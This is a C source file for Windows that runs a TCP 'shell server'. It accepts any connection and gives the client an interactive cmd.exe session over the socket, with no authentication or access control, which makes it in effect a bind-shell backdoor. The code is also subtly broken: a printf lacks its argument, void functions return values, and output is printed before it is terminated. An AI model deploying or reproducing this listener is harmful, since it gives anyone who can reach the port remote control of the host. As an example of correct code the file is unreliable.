#include "server.h"

#define BUFSIZE 4096
#define DEFAULT_BUFLEN 512

typedef struct PipeThreadInfo_t {
    HANDLE Pipe;
    SOCKET ClientSocket;
} PipeThreadInfo;

void CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr);
DWORD WINAPI WorkWithClient(LPVOID lpParam);
DWORD WINAPI WriteToPipe(LPVOID lpParam);
DWORD WINAPI ReadFromPipe(LPVOID lpParam);
void ErrorExit(PCTSTR);

void StartShellServer() {
    printf("\n->Start of shell server execution.\n");

    WSADATA wsaData;
    struct addrinfo* result = NULL, * ptr = NULL, hints;
    int iResult;

    SOCKET ClientSocket = INVALID_SOCKET;
    SOCKET ListenSocket = INVALID_SOCKET;

    /*
    * Initialize listening socket
    */

    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed: %d\n", iResult);
        return 1;
    }

    // Creating socket
    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    hints.ai_flags = AI_PASSIVE;

    // Resolve the local address and port to be used by the server
    iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed: %d\n", iResult);
        WSACleanup();
        return 1;
    }

    ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);

    if (ListenSocket == INVALID_SOCKET) {
        printf("Error at socket(): %ld\n", WSAGetLastError());
        freeaddrinfo(result);
        WSACleanup();
        return 1;
    }

    // Binding socket
    // Setup the TCP listening socket
    iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
    if (iResult == SOCKET_ERROR) {
        printf("bind failed with error: %d\n", WSAGetLastError());
        freeaddrinfo(result);
        closesocket(ListenSocket);
        WSACleanup();
        return 1;
    }
    // No longer needed
    freeaddrinfo(result);

    // Listening socket
    if (listen(ListenSocket, SOMAXCONN) == SOCKET_ERROR) {
        printf("Listen failed with error: %ld\n", WSAGetLastError());
        closesocket(ListenSocket);
        WSACleanup();
        return 1;
    }

    /*
    * Process client connection
    */
    for (;;) {
        // Accepting a client connection
        ClientSocket = INVALID_SOCKET;

        ClientSocket = accept(ListenSocket, NULL, NULL);
        if (ClientSocket == INVALID_SOCKET) {
            printf("accept failed: %d\n", WSAGetLastError());
            break;
        }
        printf("Client connected\n");
        // Create separate thread to process client connection
        CreateThread(NULL, 0, WorkWithClient, ClientSocket, 0, NULL);
    }

    /*
    * Finalization
    */
    // TODO: properly close all handles
    closesocket(ListenSocket);
    WSACleanup();
}

DWORD WINAPI WorkWithClient(LPVOID lpParam) {
    /*
    * Client variables
    */
    // Pipe handles for child STDIN/STDOUT
    HANDLE g_hChildStd_IN_Rd = NULL;
    HANDLE g_hChildStd_IN_Wr = NULL;
    HANDLE g_hChildStd_OUT_Rd = NULL;
    HANDLE g_hChildStd_OUT_Wr = NULL;

    SECURITY_ATTRIBUTES saAttr;
    HANDLE PipeThreads[2];

    SOCKET ClientSocket = (SOCKET)lpParam;

    /*
    * Initialize pipes
    */
    // Set the bInheritHandle flag so pipe handles are inherited. 
    saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    saAttr.bInheritHandle = TRUE;
    saAttr.lpSecurityDescriptor = NULL;

    // Create a pipe for the child process's STDOUT. 
    if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
        ErrorExit(TEXT("StdoutRd CreatePipe"));

    // Ensure the read handle to the pipe for STDOUT is not inherited.
    if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
        ErrorExit(TEXT("Stdout SetHandleInformation"));

    // Create a pipe for the child process's STDIN. 
    if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
        ErrorExit(TEXT("Stdin CreatePipe"));

    // Ensure the write handle to the pipe for STDIN is not inherited. 
    if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
        ErrorExit(TEXT("Stdin SetHandleInformation"));

    /*
    * Create child process cmd.exe
    */
    CreateChildProcess(g_hChildStd_IN_Rd, g_hChildStd_OUT_Wr);

    // Create threads for STDIN/STDOUT
    PipeThreadInfo WriteThreadInfo = { g_hChildStd_IN_Wr, ClientSocket };
    PipeThreadInfo ReadThreadInfo = { g_hChildStd_OUT_Rd, ClientSocket };
    PipeThreads[0] = CreateThread(NULL, 0, WriteToPipe, &WriteThreadInfo, 0, NULL);
    PipeThreads[1] = CreateThread(NULL, 0, ReadFromPipe, &ReadThreadInfo, 0, NULL);

    WaitForMultipleObjects(2, PipeThreads, TRUE, INFINITE);

    printf("\n->Client disconnected.\n");
}

void CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr)
// Create a child process that uses the previously created pipes for STDIN and STDOUT.
{
    TCHAR szCmdline[] = TEXT("C:\\Windows\\System32\\cmd.exe");
    PROCESS_INFORMATION piProcInfo;
    STARTUPINFO siStartInfo;
    BOOL bSuccess = FALSE;

    // Set up members of the PROCESS_INFORMATION structure. 

    ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));

    // Set up members of the STARTUPINFO structure. 
    // This structure specifies the STDIN and STDOUT handles for redirection.

    ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
    siStartInfo.cb = sizeof(STARTUPINFO);
    siStartInfo.hStdError = g_hChildStd_OUT_Wr;
    siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
    siStartInfo.hStdInput = g_hChildStd_IN_Rd;
    siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

    // Create the child process. 

    bSuccess = CreateProcess(NULL,
        szCmdline,     // command line 
        NULL,          // process security attributes 
        NULL,          // primary thread security attributes 
        TRUE,          // handles are inherited 
        0,             // creation flags 
        NULL,          // use parent's environment 
        NULL,          // use parent's current directory 
        &siStartInfo,  // STARTUPINFO pointer 
        &piProcInfo);  // receives PROCESS_INFORMATION 

    // If an error occurs, exit the application. 
    if (!bSuccess)
        ErrorExit(TEXT("CreateProcess"));
    else
    {
        // Close handles to the child process and its primary thread.
        // Some applications might keep these handles to monitor the status
        // of the child process, for example. 

        CloseHandle(piProcInfo.hProcess);
        CloseHandle(piProcInfo.hThread);

        // Close handles to the stdin and stdout pipes no longer needed by the child process.
        // If they are not explicitly closed, there is no way to recognize that the child process has ended.

        CloseHandle(g_hChildStd_OUT_Wr);
        CloseHandle(g_hChildStd_IN_Rd);
    }
}

DWORD WINAPI WriteToPipe(LPVOID lpParam)
{
    DWORD dwRead, dwWritten;
    BOOL bSuccess = FALSE;
    int i = 0;

    SOCKET ClientSocket = ((PipeThreadInfo*)lpParam)->ClientSocket;
    HANDLE g_hChildStd_IN_Wr = ((PipeThreadInfo*)lpParam)->Pipe;

    char recvbuf[DEFAULT_BUFLEN];
    int iResult, iSendResult;
    int recvbuflen = DEFAULT_BUFLEN;

    // Change codepage to UTF-8
    //CHAR chcpCommand[] = "chcp 65001\n";
    //bSuccess = WriteFile(g_hChildStd_IN_Wr, chcpCommand, strlen(chcpCommand), &dwWritten, NULL);
    //if (!bSuccess) goto WriteToPipe_end;

    do
    {
        iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
        if (iResult > 0) {
            bSuccess = WriteFile(g_hChildStd_IN_Wr, recvbuf, iResult, &dwWritten, NULL);
            if (!bSuccess) break;
            printf("Received command: %s\n");
        }
        else if (iResult == 0)
            printf("Connection closing...\n");
        else {
            printf("recv failed: %d\n", WSAGetLastError());
            closesocket(ClientSocket);
            WSACleanup();
            return 1;
        }
    } while (iResult > 0);

WriteToPipe_end:
    // Closing STDIN => cmd.exe exit
    if (!CloseHandle(g_hChildStd_IN_Wr))
        ErrorExit(TEXT("StdInWr CloseHandle"));
}

DWORD WINAPI ReadFromPipe(LPVOID lpParam)
{
    DWORD dwRead;
    CHAR chBuf[BUFSIZE + 1];

    BOOL bSuccess = FALSE;
    //HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
    SOCKET ClientSocket = ((PipeThreadInfo*)lpParam)->ClientSocket;
    HANDLE g_hChildStd_OUT_Rd = ((PipeThreadInfo*)lpParam)->Pipe;

    int iSendResult;


    for (;;)
    {
        bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
        if (!bSuccess || dwRead == 0) break;
        printf("STDOUT: %s\n", chBuf);
       
        chBuf[dwRead] = '\0';

        iSendResult = send(ClientSocket, chBuf, dwRead, 0);
        if (iSendResult == SOCKET_ERROR) {
            printf("send failed: %d\n", WSAGetLastError());
            closesocket(ClientSocket);
            WSACleanup();
            return 1;
        }
        if (!bSuccess) break;
    }
}

void ErrorExit(PCTSTR lpszFunction)

// Format a readable error message, display a message box, 
// and exit from the application.
{
    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError();

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR)&lpMsgBuf,
        0, NULL);

    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
        (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
    StringCchPrintf((LPTSTR)lpDisplayBuf,
        LocalSize(lpDisplayBuf) / sizeof(TCHAR),
        TEXT("%s failed with error %d: %s"),
        lpszFunction, dw, lpMsgBuf);
    MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
    ExitProcess(1);
}